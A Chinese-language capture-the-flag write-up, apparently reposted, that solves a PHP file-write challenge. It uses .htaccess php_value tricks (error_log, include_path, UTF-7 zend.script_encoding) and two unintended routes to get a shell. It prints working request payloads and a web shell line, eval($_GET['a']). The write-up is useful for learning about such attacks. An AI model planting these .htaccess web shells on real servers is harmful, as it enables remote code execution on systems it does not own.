鸽了很久, 还是记录一下
比赛的时候搞了很长时间, 终于和 mlt 师傅搞出来了, 竟然只有我们一队是预期解 ==
- <?PHP
- $files = scandir('./');
- foreach($files as $file) {
- if(is_file($file)){
- if ($file !== "index.php") {
- unlink($file);
- }
- }
- }
- include_once("fl3g.php");
- if(!isset($_GET['content']) || !isset($_GET['filename'])) {
- highlight_file(__FILE__);
- die();
- }
- $content = $_GET['content'];
- if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
- echo "Hacker";
- die();
- }
- $filename = $_GET['filename'];
- if(preg_match("/[^a-z\.]/", $filename) == 1) {
- echo "Hacker";
- die();
- }
- $files = scandir('./');
- foreach($files as $file) {
- if(is_file($file)){
- if ($file !== "index.php") {
- unlink($file);
- }
- }
- }
- file_put_contents($filename, $content . "\nJust one chance");
- ?>
题目就给了一个 PHP 文件, 整个逻辑也比较简单, 首先删除当前目录下非 index.PHP 的文件, 然后 include('fl3g.php'), 之后获取 filename 和 content 并写入文件中. 其中对 filename 和 content 都有过滤.
那么从可控参数 filename 和 content 来看,
filename 若匹配到除了 a-z 和单引号. 以外的其它字符, 则触发 waf,
而 content 中也过滤了一些关键字, 当然刚拿题的确不知道为啥要过滤这些. 因为看到 file_put_content 和 unlink 自然想到了条件竞争写 shell, 但是测试过程虽然能够写进. PHP 文件但是不解析, 并且由于题目服务器中间件为 apache, 因此想到了传. htaceess 来解析 PHP, 通常我们用
.htaccess 来解析非 PHP 后缀文件时用到
AddType application/x-httpd-PHP .ppp
或者
- <FilesMatch "shell.jpg">
- SetHandler application/x-httpd-PHP
- </FilesMatch>
但是此时 content 中过滤了 on,type, 并且过滤了 file, 那么
auto_append_file 和
auto_prepend_file 肯定也无法使用, 搜索中. htaccess+getshell 大多数也是结合这两种方法, 结合题目逻辑:
1. 删除除了 index.PHP 的所有文件, 但是. htaccess 如果上传肯定 unlink 没法删除
2.fl3g.PHP 被删除, 但是又有 include, 肯定要利用到包含来 getshell
有了以上两点在 PHP.INI 中找了找, 发现了有趣的几项配置:
顾名思义, include_path 用来设置 include()或 require()函数包含文件的参考路径, 也就是说当使用 include()或 require()函数包含文件的时候, 程序首先以 include_path 设置的路径作为参考点去找文件, 如果找不到, 则以程序自身所在的路径为参考点去找所要的文件, 如果都找不到, 则出错, 那么我们就可以通过修改它来控制 include 的路径, 那么如果我们能够在其它目录写入同名的 fl3g.PHP 让其包含, 那么就能够 getshell, 并且达到 fl3g.PHP 文件不被删除.
然而经过一番搜索, 并未找到可修改 filename 中文件路径分隔符的配置项, 因此路径分割符 / 无法使用, 即无法 file_put_contents 任意目录写文件.
了一下, 发现该函数可以把错误日志保存到指定的目录中, 那么可以通过 php_value 来设置其为 / tmp/fl3g.PHP, 那么当报错时将会把错误信息保存到该 fl3g.PHP 中, 当然要配合设置 log_errors 为 1 开启错误记录, 报错的话可以通过 include_path 来报错, 那么此时思路应该比较清晰了:
1. 写. htaccess, 访问 index.PHP, 通过报错将 shell 写入到 / tmp/fl3g.PHP
2. 写. htaccess, 包含 fl3g.PHP 来 getshell
那么此时又遇到一个 trick, 写入的. htaccess 将会和 \ n 及字符串拼接在一起
那么通常. htaccess 中出现无意义字符再访问当前目录文件服务器将 500, 那么. htaccess 又不支持多行注释, 并且单行注释 #必须在每行的开头, 那么此时可以通过 \ 反斜杠和 #来用单行注释 kill 掉 just one chance 字符串. 本地先测试一波:
- payload:
- index.PHP?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.PHP%0d%0a%23 \
此时将写入. htaccess
再次访问 index.PHP
此时将 include_path 中的 payload 写入到了 fl3g.PHP 中, 但是从观察来看 <> 被 HTML 实体编码转义了, html_errors 里面 HTML 也被过滤了. 说明此时 shell 无法利用, 上周 suctf 也考到了. htaccess 中编码来绕过<? 的过滤, 但是此时只转义了<, 因此 UTF-16,UTF-32 均无法 bypass, 此时结合 Insomnihack 2019 -l33t-hoster 题解中使用 UTF-7 编码来绕过<的过滤, 结合 PHP.INI 的设置项
并且利用 wp 中已经给的 poc:
+ADw?PHP phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+Ads
再在走一遍之前的流程, 首先写入 payload, 发现并未转义
第二次写. htaccess 更新 inlcude_path 为 / tmp 目录, 并开启 utf-7 编码检测
此时需要写入以上三个值, 写入情况如下图
此时再访问 index.PHP 来 getshell 即可, 这里要注意本地要设置一下除了 index.PHP 不解析其它以 PHP 为后缀的文件, 否则这里本地测试包含 fl3g.PHP 时无法 getshell, 本地跑完以后就可以远程打了
这道题用到了以下几个 trick:
1.error_log 结合 log_errors 自定义错误日志
2.include_path 带入 payload
3.include_path 更改包含路径
4.php_flag zend.multibyte 1 结合 php_value zend.script_encoding "UTF-7" 绕过尖括号<过滤
5.# \ 绕过 just one chance
用到的几个 trick 都是 PHP.INI 自带的配置, getshell 的过程也更具有普适性
看了赛后的 wp, 还有两个非预期解:
1. 正则匹配时:
if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z\.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false
- php_value pcre.backtrack_limit 0
- php_value auto_append_file ".htaccess"
- php_value pcre.jit 0
- #aa<?PHP eval($_GET['a']);?>\
令 filename 为:
filename=PHP://filter/write=convert.base64-decode/resource=.htaccess
这样 content 就能绕过 stristr, 一般这种基于字符的过滤都可以用编码进行绕过, 这样就能 getshell 了, 这里还学到了 p 牛的一篇文章:
,PHP://filter 的妙用
2. 非预期 2
因为后面 content 会拼接无意义字符串, 因此采用. htaccess 的单行注释绕过 # \, 这里反斜杠本来就有拼接上下两行的功能, 因此这里本来就可以直接使用 \ 来连接被过滤掉的关键字来写入. htaccess,
比如
php_value auto_prepend_file ".htaccess"
当时实在是没想到这种... 不知道为啥没想到
来源: http://www.bubuko.com/infodetail-3192304.html